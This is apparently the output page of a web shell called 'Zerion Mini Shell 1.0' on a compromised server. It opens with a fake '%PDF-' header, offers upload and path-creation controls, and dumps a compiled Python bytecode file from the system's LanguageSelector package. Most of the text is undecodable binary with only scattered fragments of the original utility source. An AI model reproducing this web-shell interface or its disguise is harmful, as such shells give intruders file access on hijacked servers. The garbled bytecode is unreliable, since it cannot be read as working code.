%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/LanguageSelector/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/LanguageSelector/__pycache__/utils.cpython-312.pyc

�

k�!f���,�ddlZddlZddlZ	dd�Zd�Zy)�Nc���|D�]T}tjdtjj	|���}d}tjj|�r�tj|tj�rnt|�5}|D]T}	|	j�}
|r|
j|�rd}|}	|s	|
|k(rd}|}	|j|	jd���V	ddd�|s"|r |j|jd��|j�tj|j|�tj |d���Wy#1swY�wxYw)zY find all strings that startswith findString and replace them with
        setString
    F)�delete�dirTzUTF-8Ni�)�tempfile�NamedTemporaryFile�os�path�dirname�exists�access�R_OK�open�strip�
startswith�write�encode�flush�rename�name�chmod)�
findString�	setString�	file_listr�append�fname�out�foundString�f�line�tmps           �8/usr/lib/python3/dist-packages/LanguageSelector/utils.py�find_string_and_replacer"s��
����)�)��.0�g�g�o�o�e�.D�F�����G�G�N�N�5�!��I�I�e�R�W�W�%��e��	
4���4�D��*�*�,�C�!�c�n�n�Z�&@�&*��(��%�#��*;�&*��(���I�I�d�k�k�'�2�3�4�	
4��v��I�I�i�&�&�w�/�0��	�	��
�	�	�#�(�(�E�"�
������/�	
4�	
4�s
�AE�E%	c�|�|jd�d}tjd|gd��}|j�S)z9 generate locale name for LC_* environment variables
    �:rz)/usr/share/language-tools/language2localeT)�universal_newlines)�split�
subprocess�check_output�rstrip)�language�
first_elem�locales   r!�language2localer-)s@������$�Q�'�J�
�
$�
$�	4�j�A��!�F��=�=�?��)TT)rr'rr"r-�r.r!�<module>r0s��
���59��<r.

Zerion Mini Shell 1.0